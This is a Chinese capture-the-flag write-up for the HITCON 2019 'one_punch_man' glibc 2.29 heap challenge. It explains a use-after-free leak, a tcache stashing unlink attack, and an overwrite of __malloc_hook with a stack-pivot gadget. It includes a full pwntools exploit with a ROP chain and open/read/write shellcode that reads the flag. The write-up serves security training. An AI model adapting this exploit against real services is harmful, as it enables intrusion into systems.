当前位置: 首页 > news >正文

HITCON 2019 one_punch_man

凿!

sol

审计一下代码,没有溢出问题,但是存在 UAFdebut 功能申请内存使用的是 calloc,额外有一个 magic 函数使用的 malloc

首先存在 UAF,因此可以通过 free 后输出 chunkfd 泄露 heap_baselibc_base,这部分是比较容易的。

程序开启了沙箱,限制如下:

❯ seccomp-tools dump ./pwnline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 00030002: 0x06 0x00 0x00 0x00000000  return KILL0003: 0x20 0x00 0x00 0x00000000  A = sys_number0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 00060005: 0x06 0x00 0x00 0x7fff0000  return ALLOW0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 00080007: 0x06 0x00 0x00 0x7fff0000  return ALLOW0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000  return ALLOW0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 00120011: 0x06 0x00 0x00 0x7fff0000  return ALLOW0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 00140013: 0x06 0x00 0x00 0x7fff0000  return ALLOW0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 00160015: 0x06 0x00 0x00 0x7fff0000  return ALLOW0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 00180017: 0x06 0x00 0x00 0x7fff0000  return ALLOW0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 00200019: 0x06 0x00 0x00 0x7fff0000  return ALLOW0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 00220021: 0x06 0x00 0x00 0x7fff0000  return ALLOW0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 00240023: 0x06 0x00 0x00 0x7fff0000  return ALLOW0024: 0x06 0x00 0x00 0x00000000  return KILL

是白名单,不能用 execve,看起来只能用 orw 来拿 flag

无论是用 mprotect 再写 shellcode 还是直接 ROP,都需要找到一块内存来写 ROP 链,并把栈迁移到这里来。在 debut 的函数中可以看到,存在向栈上写的功能,同时有调用 calloc,那么我们把 __malloc_hook 写为某个形如 add rsp, xxx; retgadget 的地址,让 rsp 落入我们可以写的那个 buf 数组中,接着就可以执行 rop 链了。

gdb 中可以看到跳到 __malloc_hook 时,rsp 距离 buf0x48 个字节,在 libc 中任意找一个 add rsp, x; retx >= 0x48)的 gadget 即可。

现在考虑怎么向 __malloc_hook 上写东西。直接的想法是用 tcache poisoning,然而 calloc 不会从 tcache 中拿 chunk,所以只能够依赖 magic 函数,但 magic 函数存在这样的一个判断:

if ( *(char *)(buf_st + 32) <= 6 )error("gg");

其中 buf_st 是指向 heap_base+0x10 的指针,也就是 heap 段的第一个 chunk。这个 chunk 存储的是 tcache_perthread_struct,而 *(char *)(buf_st + 32) 则是 chunk 大小为 0x220tcachecount

一个 tcache 至多能放 7chunk,用 UAFtcache chunkfd 来控制 __malloc_hook 的话,至少要连续拿出 2chunk,然而第二次 count 就为 6 了,所以没法做。

程序能够申请的 chunk 大小都是在 smallbin range,所以进一步考虑利用 unsorted bin,但是在 2.29 版本下,unsorted bin 有链表检查,也不好做。

然后去想 small bin,对 small bin 可以用 tcache stashing unlink attack 的技巧来绕过链表检查,这里也正好使用了 calloc,但是现在没有办法控制 fake_chunk->bk,所以也不能直接用这个控制 __malloc_hook

不过这个技巧可以做到两件事情:

  • alloc 任意一个地址

  • 向一个可写地址写入一个 libc 段的地址。

第一件事情目前没办法做到,但是我们可以做到第二件事。通过修改 small bin 链表头的 chunkbk(buf_st + 32) 附近,在 smallbin stashing 时将它覆盖为一个极大值,借此绕过 magic 中对 count 的检查。

绕过后就可以用 tcache poisoning__malloc_hook 写值了。

考虑 tcache stashing unlink attack 具体如何实现,我们需要让 tcache6chunksmall bin2chunk,现在的问题是如何在没放满 tcache 的情况下往 small bin 中放 chunk

可以借助 Last Remainder Chunk 的切分来实现,先 free 掉一个较大的 chunkunsorted bin 中,借助这个切分机制,把它切成我们所需要的大小,此时相当于实现了在 tcache 没满的情况下往 unsorted bin 中放一个 chunk,然后再申请一个较大的 chunk,就可以把这个切分后的放入对应的 small bin 中了。此时 unsorted bin 为空,因此上述流程可以做多次。在当前情况下我们做 2 次即可。

然后用 UAFsmall bin 头的 chunkbktarget-0x10,再 calloc 一次就把 count 改掉了。

后面就是 ROP 的部分了,这部分我最初是直接写的 orwROP 链,然而远程的时候还是出现了 fd 值的问题。由于我们已知 heap_base,所以我们也可以通过 mprotectheap 段改为可执行的,然后把 shellcode 写到 heap 段中,做完 orw 直接跳到 heap 段上面去执行 shellcode。这样在 read 传参时,直接 mov rdi, rax 即可,也不需要去找 fd 值是什么。另外对于字符串参数的传参,可以在 rop_chain 的末尾写,这样 rsp 直接就指向的字符串,open 的传参和后续读写就用 rsp 指向的地址去做即可。

exp

from pwn import *
context.arch = 'amd64'
#io = process('./pwn')
io = remote('node5.buuoj.cn',29599)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rop_libc = ROP(libc)
shellcode = asm('''mov rdi, rspmov rsi, 0mov rax, 2syscallmov rsi, rdimov rdi, raxmov rdx, 100xor rax, raxsyscallmov rdi, 1mov rax, 1syscall
''')
def debut(idx,content):io.sendafter(b'> ',b'1')io.sendafter(b'idx: ',str(idx).encode())io.sendafter(b'hero name: ',content)
def rename(idx,content):io.sendafter(b'> ',b'2')io.sendafter(b'idx: ',str(idx).encode())io.sendafter(b'hero name: ',content)
def show(idx):io.sendafter(b'> ',b'3')io.sendafter(b'idx: ',str(idx).encode())
def retire(idx):io.sendafter(b'> ',b'4')io.sendafter(b'idx: ',str(idx).encode())
def magic(content):io.sendafter(b'> ',b'50056')io.wait(0.1)io.send(content)
def get_heap():payload = b'a'*0x200debut(0,payload)debut(1,payload)debut(2,payload)retire(0)retire(1)show(1)io.recvuntil(b'hero name: ')res = io.recv(6).ljust(8,b'\x00')res = u64(res)res = (res>>12)<<12return res
def get_libc():payload = b'a'*0x80for i in range(7):debut(0,payload)retire(0)debut(0,payload)debut(1,b'a'*0x100)retire(0)show(0)io.recvuntil(b'hero name: ')offset = 0x77a3a0314ca0-0x77a3a0130000res = io.recv(6).ljust(8,b'\x00')res = u64(res)res = res-offsetdebut(0,payload)return res
def Exploit():heap_base = get_heap()libc_base = get_libc()print(hex(heap_base))print(hex(libc_base))# tcache orderpayload = b'a'*0x217for i in range(6):debut(2,payload)retire(2)malloc_hook = libc_base+libc.symbols['__malloc_hook']rename(2,p64(malloc_hook))# unlock mallocpayload = b'a'*0x400for i in range(7):debut(0,payload)retire(0)payload = b'a'*0x150for i in range(6):debut(0,payload)retire(0)debut(0,b'a'*0x400)debut(1,b'a'*0x200)retire(0)debut(0,b'a'*(0x400-0x150-0x10))debut(0,b'a'*0x400)offset = 0x615218c5b230-0x615218c57000debut(1,b'a'*0x200)retire(0)debut(1,b'a'*(0x400-0x150-0x10))debut(2,b'a'*0x400) payload = b'a'*(0x400-0x150-0x10)+p64(0)+p64(0x161)+p64(heap_base+offset)+p64(heap_base+0x10+0x20-0x10-0x5)rename(0,payload)debut(0,b'a'*0x150)magic(shellcode)offset = 0x5a235dba98c0-0x5a235dba8000data_addr = heap_base+offsetprint(hex(data_addr))print(hex(malloc_hook))pivot_gadget = libc_base+0x10e994magic(p64(pivot_gadget))print(hex(pivot_gadget))syscall_ret = rop_libc.find_gadget(['syscall','ret'])[0]+libc_basepop_rdi = rop_libc.find_gadget(['pop rdi','ret'])[0]+libc_basepop_rsi = rop_libc.find_gadget(['pop rsi','ret'])[0]+libc_basepop_rdx = rop_libc.find_gadget(['pop rdx','ret'])[0]+libc_basepop_rax = rop_libc.find_gadget(['pop rax','ret'])[0]+libc_basepayload = flat([b'a'*16,p64(pop_rdi),p64(heap_base),p64(pop_rsi),p64(0x10000),p64(pop_rdx),p64(7),p64(pop_rax),p64(10),p64(syscall_ret),p64(data_addr),b'./flag.txt\x00'])payload = payload.ljust(0x170,b'a')debut(1,payload)io.interactive()
if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/443747/

相关文章:

  • 2026年广州网络推广代运营推荐榜单:百度/抖音/SEM/信息流/腾讯广告专业服务商深度解析与口碑优选 - 品牌企业推荐师(官方)
  • 剖析2026年周期循环寿命试验台供应企业,专业靠谱的有哪些 - myqiye
  • 2026年铝单板厂家推荐排行榜:酒店/氟碳/木纹/冲孔/异型/幕墙铝单板,匠心工艺与定制化解决方案深度解析 - 品牌企业推荐师(官方)
  • 2026广州/佛山公司注册服务商TOP5推荐:权威榜单发布,专业赋能企业合规起步 - 十大品牌榜
  • 2026年厚切鲈鱼片生产厂家排名,看看哪家口碑好 - 工业设备
  • 盘点2026年口碑好的造纸色素碳黑厂家,颜旭技术领先 - 工业推荐榜
  • 2026广州/佛山营业执照代办公司TOP5推荐:专业机构权威榜单,高效合规赋能企业起步 - 十大品牌榜
  • 探究天鸿游乐专业吗,2026年游乐设备品牌推荐 - 工业品网
  • 选购塑料色素碳黑,颜旭新型材料这个品牌靠谱吗? - 工业推荐榜
  • Python 完整学习路径
  • 艺丽美容化妆学校 | 全国美妆职业教育优质机构评测 - 梅1梅
  • 不含双酚A(BPA)水杯材料供应商2026最新完整推荐排行榜 - 博客万
  • 2026年ABS板材厂家实力推荐:河南中圣节能科技,车辆/冰箱/建筑/广告用抗紫外线、高冲击、阻燃ABS板材全系供应 - 品牌推荐官
  • MySQL组复制的通信栈Communication Stack
  • Mysql的事务
  • 想知道2026年上海阿里邮箱代理商是谁,认准正规授权合作商更靠谱 - 品牌2026
  • MCP开发uv依赖管理工具使用
  • 2026年瓦努阿图绿卡机构深度测评:五维标准下睿港国际移民为何成为高净值家庭首选? - 资讯焦点
  • 2026年上海宠物口腔溃疡诊疗优选:这些医生值得一试,猫咪口腔护理/狗狗口腔护理,宠物口腔溃疡诊疗医生性价比高的推荐 - 品牌推荐师
  • 解读2026年京东e卡回收折扣与新手合适流程 - 淘淘收小程序
  • 2026年Q1宜兴硝化菌/刮泥机平台评测:谁在领跑氨氮处理新赛道? - 2026年企业推荐榜
  • 2026年太原高三复读学校盘点:十所机构的特色定位与适用人群解析 - 华Sir1
  • 电话网络相关
  • 拖延症福音 AI论文软件 千笔写作工具 VS 学术猹,专科生专属神器!
  • LangChain组件 Document loaders文档加载器
  • 2026年 冷却塔厂家推荐排行榜:工业/开式/钢制/封闭/密闭/蒸发式,高效散热与节能降耗的工业心脏之选 - 品牌企业推荐师(官方)
  • python 将当前目录下的Pdf 每30页切分
  • 最新盒马鲜生卡使用秘籍:回收常见问题解答 - 团团收购物卡回收
  • 微算法科技(NASDAQ: MLGO)探索量子机器学习算法在预测模型中的应用,利用量子核方法提升复杂模式识别能力
  • 华为OD机考双机位C卷终极指南:2025最新题库、算法分类与高效备考策略